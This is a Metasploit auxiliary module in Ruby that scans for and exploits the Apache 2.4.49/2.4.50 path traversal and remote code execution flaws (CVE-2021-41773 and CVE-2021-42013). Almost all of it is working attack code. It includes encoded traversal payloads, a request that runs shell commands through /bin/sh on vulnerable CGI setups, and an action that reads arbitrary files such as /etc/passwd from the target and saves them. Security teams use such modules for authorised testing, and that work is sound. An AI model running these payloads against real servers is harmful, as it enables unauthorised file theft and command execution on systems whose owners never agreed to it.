Apache 2.4.49/2.4.50 Traversal Remote Code Execution Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE scanner',  
'Description' => %q{  
This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).  
If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled,  
it can be used to execute arbitrary commands (Remote Command Execution).  
This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).  
},  
'References' => [  
['CVE', '2021-41773'],  
['CVE', '2021-42013'],  
['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],  
['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],  
['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],  
['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],  
['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']  
],  
'Author' => [  
'Ash Daulton', # Vulnerability discovery  
'Dhiraj Mishra', # Metasploit auxiliary module  
'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)  
],  
'DisclosureDate' => '2021-05-10',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
},  
'Actions' => [  
[  
'CHECK_TRAVERSAL',  
{  
'Description' => 'Check for vulnerability.'  
}  
],  
[  
'CHECK_RCE',  
{  
'Description' => 'Check for RCE (if mod_cgi is enabled).'  
}  
],  
[  
'READ_FILE',  
{  
'Description' => 'Read file on the remote server.'  
}  
]  
],  
'DefaultAction' => 'CHECK_TRAVERSAL'  
)  
)  
  
register_options([  
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-42013', ['CVE-2021-41773', 'CVE-2021-42013']]),  
OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5]),  
OptString.new('FILEPATH', [false, 'File you want to read', '/etc/passwd']),  
OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin'])  
])  
end  
  
def exec_traversal(cmd)  
send_request_raw({  
'method' => Rex::Text.rand_text_alpha(3..4),  
'uri' => normalize_uri(datastore['TARGETURI'], @traversal.to_s),  
'data' => "#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{cmd}"  
})  
end  
  
def message(msg)  
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"  
end  
  
def pick_payload  
case datastore['CVE']  
when 'CVE-2021-41773'  
payload = '.%2e/'  
when 'CVE-2021-42013'  
payload = '.%%32%65/'  
else  
payload = ''  
end  
  
payload  
end  
  
def read_traversal  
send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(@target_uri, @traversal.to_s)  
})  
end  
  
def run_host(ip)  
@proto = (ssl ? 'https' : 'http')  
  
case action.name  
when 'CHECK_TRAVERSAL'  
@target_uri = datastore['TARGETURI']  
@traversal = pick_payload * datastore['DEPTH'] << '/etc/passwd'  
  
response = read_traversal  
unless response  
print_error(message('No response, target seems down.'))  
  
return Exploit::CheckCode::Unknown  
end  
  
if response.code == 200 && response.body.include?('root:x:0:0:')  
print_good(message("The target is vulnerable to #{datastore['CVE']}."))  
  
vprint_status("Obtained HTTP response code #{response.code}.")  
report_vuln(  
host: target_host,  
name: name,  
refs: references  
)  
  
return Exploit::CheckCode::Vulnerable  
end  
print_error(message("The target is not vulnerable to #{datastore['CVE']}."))  
  
return Exploit::CheckCode::Safe  
when 'CHECK_RCE'  
@traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'  
rand_str = Rex::Text.rand_text_alpha(4..8)  
  
response = exec_traversal("echo #{rand_str}")  
unless response  
print_error(message('No response, target seems down.'))  
  
return Exploit::CheckCode::Unknown  
end  
  
if response.code == 200 && response.body.include?(rand_str)  
print_good(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))  
report_vuln(  
host: target_host,  
name: name,  
refs: references  
)  
  
return Exploit::CheckCode::Vulnerable  
end  
print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))  
  
return Exploit::CheckCode::Safe  
when 'READ_FILE'  
fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?  
  
@target_uri = datastore['TARGETURI']  
@traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']  
  
response = read_traversal  
unless response  
print_error(message('No response, target seems down.'))  
  
return Exploit::CheckCode::Unknown  
end  
  
vprint_status("Obtained HTTP response code #{response.code}.")  
if response.code == 500  
print_warning(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))  
report_vuln(  
host: target_host,  
name: name,  
refs: references  
)  
end  
  
if response.code == 500 || response.body.empty?  
print_error('Nothing was downloaded')  
  
return Exploit::CheckCode::Vulnerable if response.code == 500  
end  
  
if response.code == 200  
vprint_good("#{peer} \n#{response.body}")  
path = store_loot(  
'apache.traversal',  
'application/octet-stream',  
ip,  
response.body,  
datastore['FILEPATH']  
)  
print_good("File saved in: #{path}")  
  
report_vuln(  
host: target_host,  
name: name,  
refs: references  
)  
  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
end  
end  
`